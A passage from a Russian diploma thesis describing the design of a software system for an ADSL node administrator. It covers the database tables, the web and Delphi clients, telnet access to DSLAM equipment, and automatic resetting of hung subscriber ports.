передачи данных о соединении, который состоялся, осуществляется с помощью некоммутируемых или коммутируемых каналов связи с использованием стандартных сетевых протоколов и открытых интерфейсов.

Для повышения надежности АСР предполагается дублирование интерфейсов и каналов связи. Допускается передача в АСР данных о предоставленных услугах электросвязи с использованием протоколов локальных и корпоративных сетей.

Передача данных в АСР инициируется со стороны расчетного центра с периодичностью, предусмотренной технологией расчетов, но не реже одного раза в месяц. Допускается передача данных об услугах электросвязи, предоставленных абонентам, которые требуют немедленного расчета, в режиме «online».

1.2 Выбор платформы и инструментов проектирования

В качестве платформы для серверной части используется ОС

ASPLinux 11.2 , а также сервер баз данных MySQL версии 3.23.58, для обеспечения работы скриптов доступа к оборудованию также установлено программное обеспечение Perl версии 5.8.5, PHP 5.

Сервер баз данных MySQL, который был выбран в качестве СУБД — компонент программной системы предназначенный для хранения и предварительной обработки всех данных используемых системой и как следствие осуществляющий связь между компонентами. Mysql — это система клиент-сервер — масштабируемый высокопроизводительный SQL сервер баз данных, совершенный по простоте инсталляции, использования и обслуживания. SQL-сервер Mysql предназначен для хранения и обработки больших объемов информации в условиях одновременной работы с БД множества клиентских приложений. свободнаясистема управления базами данных (СУБД). MySQL является собственностью компании MySQL AB, осуществляющей разработку и поддержку приложения. Распространяется под GNU General Public License и под собственной коммерческой лицензией, на выбор. Помимо этого компания MySQL AB разрабатывает функциональность по заказу лицензионных пользователей, именно благодаря такому заказу почти в самых ранних версиях появился механизм репликации. MySQL является решением для малых и средних приложений. Входит в LAMP. Обычно MySQL используется в качестве сервера, к которому обращаются локальные или удалённые клиенты, однако в дистрибутив входит библиотека внутреннего сервера, позволяющая включать MySQL в автономные программы.

Гибкость СУБД MySQL обеспечивается поддержкой большого количества типов таблиц: пользователи могут выбрать как таблицы типа MyISAM, поддерживающие полнотекстовый поиск, так и таблицы InnoDB, поддерживающие транзакции на уровне отдельных записей. Более того, СУБД MySQL поставляется со специальным типом таблиц EXAMPLE, демонстрирующим принципы создания новых типов таблиц. Благодаря открытой архитектуре и GPL-лицензированию, в СУБД MySQL постоянно появляются новые типы таблиц.

PERL — отличительной особенностью языка является оперирование не
байтами и символами, а списками, строками и полями. Это в основном ориентированы на решение задач по обработке текстовой информации, а также на выполнение рутинных системных задач. Язык является гибридными, то есть компилируются в псевдокод после запуска на выполнение. создан программистом Лари Уоллом (Larry Wall) для обработки больших текстовых файлов и расшифровывается, как Practical Extraction and Report Language (язык для практического извлечения данных и составления отчетов).
Первая версия Perl была написана в 1986 году. Ларри в то время работал системным программистом и участвовал в одном из военных проектов, направленном на создание многоуровневых защищенных распределенных сетей. Основная его задача состояла в организации обмена по защищенному каналу между двумя сетями из шести машин каждая. Одна из сетей находилась где-то на восточном побережье США, а вторая — на западном. Именно для обслуживания этой системы Уолл разработал новый язык, позволявший обрабатывать массу текстовой информации и готовивший отчеты.
Основными преимуществами языка Perl являются : возможность свободного распространение. За использование Perl не требуется платить, его можно копировать. Независимость от платформы. Конечно, в нем имеются возможности и пакеты, реализованные только под одну ОС, но его ядро выполняется на всех основных платформах таких как Windows,Linux,MacOS.
Доступность — Perl широко представлен в Internet. Главным источником информации и программного обеспечения является Comprehensive Perl Archive Network. Прагматический подход — c точки зрения разработчиков, Perl удовлетворяет трем основным критериям: завершенностью, удобству в работе и эффективности. С прикладной точки зрения это означает, что программы на Perl создаются с меньшими затратами на борьбу с различными
аспектами технологии программирования, чем при работе с другими языками программирования.

PHP — скриптовый язык программирования, созданный для генерации HTML-страниц на веб-сервере и работы с базами данных. В настоящее время поддерживается подавляющим большинством хостинг-провайдеров. Входит в LAMP — «стандартный» набор для создания веб-сайтов (Linux, Apache, MySQL, PHP (Python или Perl)). Группа разработчиков PHP состоит из множества людей, добровольно работающих над ядром и расширениями PHP и смежными проектами, такими как PEAR или документация языка. В области программирования для Сети PHP — один из популярнейших скриптовых языков (наряду с JSP, Perl и языками, используемыми в ASP.NET) благодаря своей простоте, скорости выполнения, богатой функциональности и распространению исходных кодов на основе лицензии PHP. PHP отличается наличием ядра и подключаемых модулей, «расширений»: для работы с базами данных, сокетами, динамической графикой, криптографическими библиотеками, документами формата PDF и т. п. Любой желающий может разработать своё собственное расширение и подключить его. Существуют сотни расширений, однако в стандартную поставку входит лишь несколько десятков хорошо зарекомендовавших себя. Интерпретатор PHP подключается к веб-серверу либо через модуль, созданный специально для этого сервера (например, для Apache или IIS), либо в качестве CGI-приложения. Кроме этого, он может использоваться для решения административных задач в операционных системахUNIX, GNU/Linux, Microsoft Windows, Mac OS X и AmigaOS. Однако в таком качестве он не получил распространение, отдавая пальму первенства Perl, Python и VBScript

В настоящее время PHP используется сотнями тысяч разработчиков. Несколько миллионов сайтов сообщают о работе с PHP, что составляет более пятой доли доменов Интернета.

Delphi — результат развития языка Турбо Паскаль, который, в свою очередь, развился из языка Паскаль. Паскаль был полностью процедурным языком, Турбо Паскаль начиная с версии 5.5 добавил в Паскаль объектно-ориентированные свойства, а Delphi — объектно-ориентированный язык программирования с возможностью доступа к метаданным классов (то есть к описанию классов и их членов) в компилируемом коде, также называемом интроспекцией.

Так как все классы наследуют функции базового класса TObject, то любой указатель на объект можно преобразовать к нему, после чего воспользоваться методом ClassType и функцией TypeInfo, которые и обеспечат интроспекцию. Также отличительным свойством Дельфи от С++ является отсутствие возможности располагать объекты в стеке (объекты, унаследованные из Турбо Паскаля, располагаться в стеке могут) — все объекты попадают в динамически выделяемую область (кучу).

Де-факто Object Pascal, а затем и язык Delphi являются функциональными наращиваниями Turbo Pascal. Об этом говорят обозначения версий компилятора. Так, в Delphi 7 компилятор имеет номер версии 15.0 (Последняя версия Borland Pascal / Turbo Pascal обозначалась 7.0, в Delphi 1 компилятор имеет версию 8.0, в Delphi 2 — 9.0, и т. д. Номер версии 11.0 носит компилятор Pascal, входивший в состав среды C++Builder). Delphi оказал огромное влияние на создание концепции языка C# для платформы .NET. Многие его элементы и концептуальные решения вошли в состав С#. Одной из причин называют переход Андерса Хейлсберга, одного из ведущих разработчиков Дельфи, из компании Borland Ltd. в Microsoft Corp.

1.3 Постановка задачи

В связи с быстрым развитием услуги по предоставлению широкополосного доступа к сети Интернет по технологии ADSL в г.Мариуполе возникла необходимость в создании программного комплекса для автоматизации работы персонала. Так как на учёт и обработку поступающих заявок, сохранение информации о всех существующих абонентах, планирование подключений и ремонтов, администрирование оборудования ADSL, составление отчётных документов стало затрачиваться значительная часть рабочего времени администратора ADSL, возникает потребность в разработке программного комплекса позволяющего максимально автоматизировать выше описанные процессы.

В результате сократится время на подключение абонента к услуги ADSL, и тем самым увеличится количество подключаемых абонентов.

А также более эффективно будет использоваться транспорт предоставленный для обслуживания абонентов, в связи с автоматическим планированием выездов к абонентам.

В программном комплексе также необходим механизм для учёта оборудования переданного пользователям ADSL, что позволяет контролировать перемещение комплектов оборудования и сохранения их целостности.

Функции администрирования существующего оборудования должны быть максимально упрощены и автоматизированы.

Безопасности подключения к оборудованию DSLAM необходимо предавать первостепенное значение.

1.3.1 Входные данные

Исходными данными для ПК будет являться информация об абоненте его физическом расположении на порту стойки DSLAM, а также в зависимости от этапа прохождения заявки от абонента на каждом шаге необходимо наличие данных об номере телефона (транзита), адресе абонента, приоритете заявки (VIP, срочный, обычный), типе телефона (свободный, спаренный, сигнализация, транзит), АТС где непосредственно расположен абонент.

1.3.2 Выходные данные

Выходными данными будут являться результаты работы скриптов отображающих состояние абонентской линии. Полная информация об абоненте хранящаяся в БД, а также информация об оборудовании взятом

в аренду пользователем.

Также о кол-во произведённых подключений пользователей за определённый период времени (функция значительно сокращает время на составление отчётных документов), кол-во отключений, общее количество, а также количество по определённым площадкам, задействованных портов на площадках ADSL.

2 ОПИСАНИЕ СТРУКТУРНОЙ МОДЕЛИ, МЕТОДОВ И АЛГОРИТМОВ, СТРУКТУРЫ БАЗЫ ДАННЫХ.

2.1 Проектирование базы данных и работа с ней

Для работы программного комплекса необходимо создать базу данных содержащую таблицы. 2.1-2.17.

Таблица 2.1 ATS – таблица для хранения информации о существующих АТС где предоставляется услуга ШПД

Название: Разработка программного комплекса для автоматизации работы администратора узла по предоставлению
Раздел: Рефераты по коммуникации и связи
Тип: дипломная работа Добавлен 08:46:42 06 декабря 2010 Похожие работы
Просмотров: 354 Комментариев: 14 Оценило: 2 человек Средний балл: 5 Оценка: неизвестно Скачать
Поле Тип Ноль Примечание
ID int(11) нет идентификатор строки
ATS varchar(10) нет информация о имени станции

Таблица 2.2 KROSS – таблица для хранения информации о том на какой плате и порту находиться конкретный абонент, а также дате и времени, когда его телефонная линия была скроссирована

Поле Тип Ноль Примечание
ID int(11) нет идентификатор строки
ID_PLATA int(3) нет идентификатор платы
PORT int(3) нет информация о номере порта
ID_PHONE int(3) нет идентификатор номера телефона
DATE_KROSS datetime нет дата кроссировки телефонной линии абонента.

Таблица 2.3 PLAN_ON – таблица для хранения информации о времени, когда запланировано подключение определённого номера и от том кем именно оно было запланировано.

Поле Тип Ноль Примечание
ID int(11) нет идентификатор строки
DATE date нет время и дата на когда планируется подключение
ID_PHONE int(3) нет идентификаторномера телефона
ID_USERS int(3) нет идентификатор пользователя который запланировал подключение

Таблица 2.4 SOSTOYANIE_PORTOV – таблица для хранения информации о состоянии конкретного порта, активности модема, количестве переданных пакетов, зависший ли порт или нет, информации о том кем именно занят порт, дате последнего обновления.

Поле Тип Ноль Примечание
ID int(11) нет идентификатор строки
ID_PLATA date нет идентификатор платы
ID_STATE_PORT int(3) нет идентификатор состояния порта
PORT int(3) нет номер порта
PORT_STATE varchar(255) нет состояние модема на стороне пользователя
OUT_PACKETS int(10) нет количество переданных пакетов
HAND_UP_PORT int(3) нет ключ зависшего порта
INFO varchar(255) да примечание
DATE_UPDATE datetime нет датаобновлениязаписи

Таблица 2.5 BLOK_SOTNI – таблица для хранения информации какая сотня номеров на какой АТС является блокираторной.

Поле Тип Ноль Примечание
ID int(11) нет идентификатор строки
ID_ATS int(3) нет идентификатор АТС
SOTNYA varchar(3) нет сотня телефонных номеров являющихся блокираторными.

Таблица 2.6 LOG_ABONENT – таблица для хранения информации о действиях произведённых администраторами при работе с абонентами.

Поле Тип Ноль Примечание
ID int(11) нет идентификатор строки
DATE datetime нет дата занесения
ABONENT varchar(255) да телефонный номер абонента
PROBLEM varchar(255) да проблема у пользователя
USER varchar(255) да идентификатор администратора
FLAG varchar(3) нет Флаг тип абонента.

Таблица 2.7 PLATA – таблица для хранения информации об установленных платах ШПД.

Поле Тип Ноль Примечание
ID int(11) нет идентификатор строки
NAME varchar(50) нет имя плата
KOL_PORT int(11) нет количество портов на плате
IP varchar(20) нет ip адрес платы
ID_ATS int(3) нет идентификатор АТС
TYPE_PLATA varchar(3) нет тип платы

Таблица 2.8 STATE – таблица состояний прохождения заявки абонента.

Поле Тип Ноль Примечание
ID int(11) нет идентификатор строки
STATE varchar(50) нет состояние в котором находиться заявка

Таблица 2.9 DEVICE – таблица для сохранения информации об оборудовании переданном в аренду пользователям.

Поле Тип Ноль Примечание
ID int(11) нет идентификатор строки
MODEM varchar(50) нет серийный номер модема переданного в аренду
SPLITER varchar(20) да серийный номер сплитера
BP int(1) да блок питания
CABEL_TEL int(1) да телефонный кабель
CABEL_ETH int(1) да кабель Ethernet
BOX int(1) да коробка для модема
FILTER int(1) да фильтр переданный в аренду
ID_PHONE int(3) да идентификатор телефона на котором установлен комплект оборудование
DATE_ON date нет дата включения абонента
BOX_SP int(1) да коробкасплиттера
INFO varchar(255) да примечание
DATE_OFF date нет датаотключенияпользователя
USB int(1) да usb кабель
TYPE_CONECT char(50) да типподключения

Таблица 2.10 LOG_ABONENT_NEW – Новый журнал обращения пользователей.

Поле Тип Ноль Примечание
ID int(11) нет идентификатор строки
DATE_BEGIN datetime нет дата начало обращения
OT varchar(100) нет тип обращения
ABONENT varchar(100) нет телефонный номер абонента
HARAKTER varchar(100) нет описание проблемы у абонента
TIME_BEGIN datetime нет время открытия ремонта в журнале
Поле Тип Ноль Примечание
TIME_END datetime нет время закрытия ремонта
DLITELNOST int(11) нет время простоя в работе абонента
PRICHINA varchar(100) нет причина простоя простоя у абонента
ISPOLNITEL varchar(50) нет исполнительремонта
FLAG varchar(5) нет флаг открытого ремонта

Таблица 2.11 PRIOR – Таблица приоритета заявки.

Поле Тип Ноль Примечание
ID int(11) нет идентификатор строки
PRIOR varchar(50) нет приоритет заявки

Таблица 2.12 STATE_PORT – Таблица состояний порта платы ШПД.

Поле Тип Ноль Примечание
ID int(11) нет идентификатор строки
STATE_PORT varchar(50) нет состояние порта

Таблица 2.13 DIAPAZON_ATS – Таблица диапазонов телефонных номеров где возможно предоставить услугу.


Поле Тип Ноль Примечание
ID int(11) нет идентификатор строки
ID_ATS int(3) нет идентификатор АТС
DPZ_OT varchar(50) нет начало диапазона
DPZ_DO varchar(50) нет конец диапазона

Таблица 2.14 LOG_VIEZD – Журнал выездов к абоненту для устранения повреждения.

Поле Тип Ноль Примечание
ID int(11) нет идентификатор строки
FIO_ADMIN varchar(50) нет фамилия администратора выполнившего работу
PHONE varchar(8) нет номер телефона
ADRESS varchar(255) нет адрес по которому был осуществлён выезд
DATE_START varchar(5) нет время выезда
DATE_STOP varchar(5) нет дата приезда
PROBLEM varchar(255) нет описание проблемы пользователя
Поле Тип Ноль Примечание
DATE date нет дата занесения записи в журнал
DEYSTVIE varchar(255) нет действие произведённые у абонента

Таблица 2.14 PROTOKOL – таблица для хранения протоколов измерения телефонных линий абонентов.

Поле Тип Ноль Примечание
ID int(11) нет идентификатор строки
ID_PHONE int(3) нет идентификатор номера телефона
SH1 varchar(10) нет номер распределительного шкафа
SH1_LINE_M varchar(10) нет сопротивление изоляции магистрали
SH1_LINE_R varchar(10) нет сопротивление изоляции распределения
DISTANCE varchar(10) нет расстояние до станции
DATE date нет дата произведения измерении
USER varchar(10) нет администратор заполнявший протокол.

Таблица 2.15 USERS – Таблица для хранения информации о пользователях системы, их правах на те или иные действия.

Поле Тип Ноль Примечание
ID int(11) нет идентификатор строки
USERNAME varchar(50) нет имя пользователя в системе
PASSWORD varchar(50) нет пароль пользователя в системе
FIO varchar(50) нет фамилия, имя, отчество администратора
PROFILE varchar(50) нет профиль с правами пользователя
STATUS int(10) нет статус пользователя, подключён ли пользователь в данный момент

Таблица 2.16 FOR_ASTLO – Таблица предназначенная для отдела установки технического учёта, содержащая информацию для заполнения нарядов услуги.

Поле Тип Ноль Примечание
ID int(11) нет идентификатор строки
DATE date нет дата занесения строки
Поле Тип Ноль Примечание
ID_PHONE int(3) нет идентификатор номера телефона
STATUS varchar(50) нет произошедшее событие
NOTE varchar(255) нет примечание

Таблица 2.17 PHONE_TYPE – Таблица для хранения информации о типе телефона у абонента.

Поле Тип Ноль Примечание
ID int(11) нет идентификатор строки
TYPE varchar(50) нет тип телефона установленного у абонента

Таблица 2.18 REMONT– Таблица сохранения информации о проведённых ремонтах и состоянии телефонной линии конкретного абонента

Поле Тип Ноль Примечание
ID int(11) нет идентификатор строки
DATE date нет дата занесения строки
ID_PHONE int(10) нет идентификатор номера телефона
PROBLEM varchar(255) нет проблемы у пользователя
LINE varchar(255) нет состояние телефонной линии
ID_USERS int(3) нет идентификатор пользователя который внёс данные
REMONT_STATUS int(3) нет статусремонта
TIP_REMONTA varchar(255) нет тип произведённого ремонта у абонента

Таблица 2.19 ZAYAVKA – Корневая таблица хранения основной информациио пользователях их статусе, места локации.

Поле Тип Ноль Примечание
ID int(11) нет идентификатор строки
PHONE varchar(8) нет номер телефона абонента
ADRESS varchar(255) нет адрес пользователя
ID_PRIOR int(3) нет идентификатор приоритета заявки от абонента в общей очереди на подключение
DATE date нет дата занесения заявки от абонента
Поле Тип Ноль Примечание
ID_PHONE_TYPE int(3) нет идентификатор типа установленного телефона
ID_ATS int(3) нет идентификатор номера АТС к которой принадлежит номер телефона абонента
ID_USERS int(3) нет идентификатор администратора добавившего заявку
ID_STATE int(3) нет идентификатор состояния в котором находиться заявка
DATE_OTKAZ date нет дата отказа пользователя от своей заявки на подключение
NOTE varchar(255) нет примечание

2.2 Алгоритм работы клиентской части узла и общая структура комплекса

В программном комплексе целесообразно использовать клиент-серверной технологию, поэтому ПК состоит из нескольких частей.

1. Серверная часть — база данных MySQL.

2. Клиентская часть узла Интернет – приложение, выполняющее основные функции комплекса.

3. Клиентская часть абонентского отдела – web интерфейс для удалённой работы, написанный на языке программирования PHP.

4. Набор скриптов на языке программирования PERL для доступа к оборудованию DSLAM и передачи результатов работы клиентской части.

Клиентская часть узла Интернет — приложение созданное в среде разработки Delphi 6.0 с использованием модулей umysqlvio, umysqlct, umysqlclient осуществляющих непосредственную работу с сервером баз данных MySQL. При запуске приложение пытается подключиться к серверу при помощи следующих функции :

Рисунок 2.1 — Схема информационных потоков

После ввода имени пользователя программа ищет введённые данные в соответствующей таблице БД, затем при совпадении имени пользователя проверяться пароль. Для хранения паролей пользователей используется модуль md5hash обеспечивающий достаточный уровень безопасности, при успешной проверки пароля происходит считывание профиля пользователя состоящего из строки каждый элемент которой обозначает в двоичном виде доступность определённых функций в программе. После чего осуществляется вход в систему. Изменение статуса пользователя на подключённый и отображение соответствующей информации в строке состояния главной формы приложения. Также в клиентской части узла реализован механизм автоматического обновления исполняемого файла.

После успешного входа в систему и обновления программы администратор имеет возможность работать с ПК.

Для администратора системы предоставляется возможность добавления, удаления, смены пароля, изменения прав пользователям системы. После добавления всех пользователей системы и назначения им соответствующих прав администратору необходимо добавить существующие АТС и платы DSLAM для этих АТС а также диапазоны телефонных номеров на этих АТС. После ввода всех этих данных программный комплекс готов к работе и позволяет принимать заявки от пользователей на предоставление услуги ШПД по технологии ADSL. При добавлении заявки пользователя система автоматически просматривая диапазоны номеров в БД и определяет к какой АТС принадлежит введённый телефонный номер, благодаря функции blokirator расположенной в динамически подключаемой библиотеке, определяется является ли введённый номер блокираторным или нет. При успешном добавлении заявки от абонента она попадает в очередь на подключение на своей АТС. Далее, при обработке заявок и проведении измерений телефонных линии абонентов заносятся характеристики каждой линии после чего заявки деляться на норму и не норму. На данном этапе администраторы системы могут сформировать отчёт по линиям, характеристики которых не удовлетворяют требованиям для подключения услуги ШПД. Далее при подтверждении своей заявки и заключения договора абоненту необходимо присвоить локацию, местоположение на стойке ШПД, состоящее из имени платы и номера порта на данной плате. Данный этап называется кроссировкой телефонной линии, администратор вводит номер телефона который необходимо скроссировать и ПК автоматически подбирает для него плату и свободный порт на плате. В результате этапа кроссировки в БД заноситься информации о локации абонента и статус его порта меняется на занятый, что исключает повторную кроссировку на данный порт.

После прохождения данного этапа абонент может взять необходимый комплект оборудования для подключения, или приобрести свой. На этом этапе заполняется таблица DEVICE куда заноситься информация об оборудовании переданном абоненту в аренду. Пользователь считается подключённым.

В ПК реализована возможность формировать отчёты по количеству произведённых подключений за определённый период времени. Результаты работы выводятся в MicrosoftExcel.

Пункт меню «Обслуживание» позволяет просмотреть журналы обращения пользователей, журнал выездов, а также произвести необходимые действия с портами стойки DSLAM.

2.3 Алгоритм работы клиентской части абонентского отдела

Клиентская часть абонентского отдела представляет собой набор WEB страниц, а также скрипы PHP. В основе разрабатываемого кода лежит «клиент-серверная » архитектура, которая подразумевает разделение общего приложения на две части: клиент и сервер. Работа такого приложения приведена на рисунке 2.2.

Рисунок 2.2– Архитектура Web-приложения

Можно выделить три уровня. Первый уровень – уровень клиента, создающего запросы и получающего на них ответы. Второй уровень –уровень сервера, принимающего и обрабатывающего запросы от клиента. Третий уровень – уровень данных, содержащий необходимую пользователю информацию и содержащаяся в базах данных, внешних файловых системах и других доступных носителях.

Для удобной работы пользователей системы необходимо создать единую структуру всех страниц. Анализируя содержание страниц приходим к наиболее оптимальной структуре страницы. Эта структура представлена на рисунке 2.3. Вся страница разбита на три основные области.

Рисунок 2.3 – Базовая структура страниц клиентской части абонентского отдела

Структура каталогов клиентской части абонентского отдела представлена на рисунке 2.4. Подключение и работа в клиентской части абонентского отдела происходит в следующем порядке. Для работы в системе администратор может использовать любой тип браузера, а также тид доступа к сети Интернет в частности мобильные бригады находясь не посредственно у абонента могут подключиться при помощи мобильного телефона и удалённо работать в системе. При открытии главной страницы комплекса происходит авторизация администратора для дальнейшей работы в системе. Схема подключения к системе приведена на рисунке 2.5. После подключения и авторизации в системе в браузере администратора отображается стартовая страница комплекса. Эта страница добавления заявки от абонента на подключение. После заполнения всех необходимых полей заявка добавляется в БД комплекса при помощи скрипта add.php, который осуществляет подключение к базе данных и выполняет SQL запрос на добавление введённых данных в БД. До выполнения запроса также осуществляется проверка на наличие такой заявки и если заявка уже присутствует в базе данных, администратор системы оповещается об этом соответствующей информацией и добавление данных не происходит.

/ data данные по платам.

/ plata информация о платах.

/ protocol протокол измерений абонентских линий.

/ script содержит скрипт осуществляющий.

резервное копирование данных.

add . html форма добавления заявки в базу.

add . php скрипт обработки формы add.

auth.php скрипт авторизации пользователей

change.html форма для изменения данных об

change_net.html страница ошибки при изменении

данных об абоненте.

dobav.html страница выводящая информацию об

успешном добавлении заявки в базу

dogovor.html страница для проверки заключен ли

договор на предоставление услуги

dogovor.php скрипт проверки данных из

dogovor_da.html страница при успешной проверки на

dogovor_net.html страница ошибки при проверки

на заключения договора

error.html страница ошибок авторизации

index.html стартовая страница

kross.html страница проверки скроссированна ли

телефонная линия у абонента

kross.php скрипт проверки данных из

look.html просмотр информации о заявке

look.php скрипт проверки данных из

reset.html форма сброса порта на плате DSLAM

reset . php скрипт для выполнения сброса порта

Рисунок 2.4 – Структура каталогов и описание их назначения

Рисунок 2.5 – Схема удалённого подключения к системе

В нижней части стартовой страницы расположено меню для выполнения различных действий в системе.

Так основной возможностью системы является возможность удалённо контролировать работу порта абонента.

Система позволяет по номеру телефона отобразить состояние порта для чего служит набор скриптов осуществляющих сбор информации и вывод её в браузере.

2.4 Алгоритм доступа к оборудованию DSLAM

Схема доступа к оборудованию ШПД представлена на рисунке 2.6

Рисунок 2.6 – Схема доступа к оборудованию ШПД

Удалённый доступ к оборудованию DSLAM происходит при помощи сервера telnet. Сервер tеlnet предоставляет возможность удаленного доступа к интерфейсу командной строки системной консоли узла DSLAM. Пользователь при регистрации идентифицируется при помощи пользовательского имени и пароля. Доступ через сервер telnet дополнительно защищен максимальным временем неактивного соединения. Этот механизм осуществляет прерывание

соединения, если по какой-либо причине соединение не было разъединено.

Интерфейс командной строки (CLI) является основным пользовательским интерфейсом по управлению узлом DSLAM с использованием консоли управления. К командной строке обеспечивается локальный доступ через последовательный интерфейс или удаленный доступ

через клиента telnet.

После осуществления подключения администратору предоставляется возможность с помощью команд, перечисленных ниже проводить администрирование портов ADSL/ADSL2+ и SHDSL. Так определенному порту или портам xDSL можно присвоить профили. Определенному порту или портам xDSL можно присвоить профили цифровых частотных каналов.

Предоставляется группа команд, обеспечивающих отображение рабочих характеристик линии xDSL. Тестами SELT и DELT проверяется работоспособность линии xDSL перед началом передачи данных. Отчет DMT дает информацию о битах, присвоенных отдельным цифровым частотным

каналам и отношение SNR, в нисходящем и восходящем направлении.

Администрирование включает в себя следующее:

– отображение параметров отдельного порта или всех портов xDSL.;

– отображение отдельного профиля или всех профилей xDSL.;

– отображение отдельного профиля ADSL;

– отображение состояния всех портов xDSL;

– отображение состояния контроллера портов xDSL и состояния

соответствующих портов xDSL;

– отoбрaжение параметров линии xDSL;

– отображение среднего значения рабочих характеристик линии xDSL;

– отображение текущего состояния счетчиков потока данных;

– отображение текущего состояния счетчиков потока АТМ порта хDSL;

– добавление нового профиля или копирование существующего профиля частотных каналов;

– перевод в состояние оборудованности или необорудованости одного

или всех портов xDSL и присвоение профилей частотных каналов;

Выполнение части перечисленных функций внедрено в ПК «АРМА». Так для получения информации о статусе порта, максимальной скорости работы пользователя, уровне шумов линии абонента и так далее используется следующий механизм доступа : из клиентских частей посредствам метода POST на web сервер передается номер телефона для получения нужной информации. Использование этого метода позволило создать универсальные скрипты возвращающие необходимую информацию в независимости от того с какой клиентской части она была затребована. Далее на рисунке 2.7 приведён алгоритм, осуществляющий обработку и выбор переданных данных.

Подключение к оборудованию ШПД

Рисунок 2.7 – Алгоритм получения данных от оборудования DSLAM

Подключение к необходимому оборудованию ШПД происходит с использованием модуля Net::Telnet. После подключения результат выполнения команд возвращается в клиентскую часть в которой и отображается. Для выполнения команды по изменению скорости на конкретном порту платы DSLAM, “setdslportprofile№ профиля” скрипту передается два параметра номер телефона и номер профиля порта.

Рисунок 2.7 — Схема доступа ПК к оборудованию DSLAM


3 ОПИСАНИЕ РАЗРАБОТАНОЙ ПРОГРАММНОЙ СРЕДЫ

3.1 Описание клиентской части узла

Алгоритм работы клиентской части узла Интернет разбит на этапы, от подачи заявки пользователем до отключения пользователя от услуги.

Первый этап – прием заявки от пользователя, необходимые данные: номер телефона (транзита), адрес абонента, приоритет заявки (VIP, срочный, обычный), тип телефона (свободный, спаренный, сигнализация, транзит), АТС где непосредственно расположен абонент и где присутствует техническая возможность для предоставления услуги (определяется автоматически по заранее введённому диапазону номеров АТС), а также текущая дата добавления заявки.

Второй этап – обработка заявки администратором, формируется очередь по каждой АТС на подключение абонентов. На этом этапе администратор сохраняет информацию о характеристике линии абонента.

Третий этап – этап заключение договора на предоставление услуги. Администратор после обработки заявки отправляет пользователя на заключение договора, только после данного этапа заявка обрабатывается дальше. Все абоненты, которые заключили договор и ждут подключения, также отсортированы по приоритету и дате.

Четвёртый этап – этап кроссировки абонента на порт стойки ADSL.

AРMA отображает все смонтированные платы широкополосного доступа ADSL, и позволяет администратору указать плату и номер порта, куда будет скроссирован абонент, отображаются также: занятые, забронированные и повреждённые порты.

Пятый этап – этап планирования подключения абонента ADSL.

Календарное планирование подключений абонентов, позволяет администратору указать дату подключения конкретного абонента.

Шестой этап – этап подключения абонента.

Абонент переходит в состояние «подключен», на данном этапе администратор вводит данные о составе оборудования переданного в аренду абоненту (серийные номера и кол-во оборудования).

Седьмой этап – отключение абонента от услуги. Абонент переходит в состояние «отключён», администратор указывает оборудование и его кол-во, которое вернул абонент. Если абонент вернул не все оборудование, он переходит в статус должник, информация об этом сохраняется.

На каждом этапе обработки заявок от абонентов ведётся логирование изменений вносимых администраторами, для этого в программе предусмотрен механизм авторизации администраторов с ограничением прав каждому отдельному администратору. Это позволяет контролировать работу каждого администратора.

Возможность формирования детального отчёта о проведённой работе: кол-во произведённых подключений за определённый период времени (функция значительно сокращает время на составление отчётных документов), кол-во отключений, общее количество, а также количество по определённым площадкам, задействованных портов на площадках ADSL. Для работы с оборудованием ADSL, в частности для сброса зависшего порта, предусмотрена возможность сброса порта по номеру телефона абонента, что позволяет избежать длительных простоев в работе абонентов ADSL и жалоб по этому поводу.

3.2 Описание клиентской части абонентского отдела

Клиентская часть абонентского отдела -Web интерфейс на языке PHP, позволяет удалённо добавлять и обрабатывать заявки абонентов. Также как и клиентская часть узла, алгоритм работы клиентской части абонентского отдела разбит на этапы. Учёт и обработка заявок, заключение договора возможно только при наличии технической возможности подключения. Кроссировка закрепления порта на оборудовании DSLAM, за конкретным абонентом. Отчёт и состояние оборудования DSLAM.

Web интерфейс позволяет сократить время на обработку заявок, так как, заявки заносятся непосредственно в общую базу данных всего комплекса и после занесения автоматически отображаются в клиентской части AРMA узла Интернет, где и обрабатываются администраторами.

Реализовано также часть функций по обработке заявок, в частности оператор имеет возможность просмотреть характеристику линии отдельного абонента, а также отправить запрос на кроссировку телефонной линий администратору клиентской части узла. Для нужд технического отдела присутствует возможность формирования списка телефонных номеров с наименованием платы и порта где находиться номер.

Для увеличения производительности труда и сокращения времени на обслуживание отдельного абонента специалистами мобильной бригады, в клиентской части абонентского отдела реализован механизм просмотра характеристик линии пользователя а также имеется возможность сбросить порт на стойке DSLAM введя номер телефона абонента.

4 СИСТЕМА АВТОМАТИЧЕСКОГО СБРОСА ЗАВИСШИХ ПОРТОВ

Для облегчения работы администратора и повышения качества обслуживания абонентов разработана автоматическая система устранения

неполадок в работе портов стоек DSLAM.

В процессе работы оборудования ШПД, происходят периодические зависания портов на платах доступа DSLAM. Это обусловлено следующими факторами :

– телефонная линия абонента не удовлетворяет требованиям для

нормальной работы оборудования.

– зависание абонентского модема.

– ремонтом телефонной линии абонента.

– и другими факторами в частности ошибками в программном

обеспечении оборудования DSLAM.

В результате длительной работы оборудования и сбора статистики возникновения подобных ситуации было установлено отсутствие закономерности возникновения проблем и не возможности прогнозирования ситуации. Поэтому создана автоматическая система для устранения и фиксирования проблем зависания портов.

Описание механизма ручного сброса порта на стойке SI2000 цифровая коммутационная система производства IskraTel :

Отображение текущего состояния счетчиков потока данных по линии для выбранного порта хDSL. Ниже приведенной командой отображается текущее состояние счетчиков потока данных по линии для выбранного порта хDSL. Форма команды Command> showdsldiaglineperfcurport

, где port: идентификатор порта xDSL (1..32). Для отображения текущего состояния счетчиков потока данных по линии порта ADSL 1 в командную строку необходимо ввести команду: showdsldiaglineperfcurport 1. При повторном вводе данной команды проверяется значения счетчиков потоков данных, если порт активный, а значение счётчиков не изменилось, то следует сделать вывод о том, что порт абонента находиться в зависшем состоянии и услуга не предоставляется. Следовательно, необходимо произвести программный сброс такого порта, что осуществляется с помощью команды Command> resetdslport [

] которая производит сброс порта xDSL. Если не будет введен конкретный порт хDSL, сбросятся все порты хDSL.

Так как в монтированную емкость одной стойки DSLAM может входить до 1000 портов, а количество стоек расположенных в разных частях города также велико, в ручную производить просмотр состояния порта и сброс зависших портов нецелесообразно и трудоёмко, поэтому эти действия можно возложить на программного робота. Алгоритм его работы показан на

рисунке 4.1. Данный алгоритм реализован программно на языке программирования PERL.

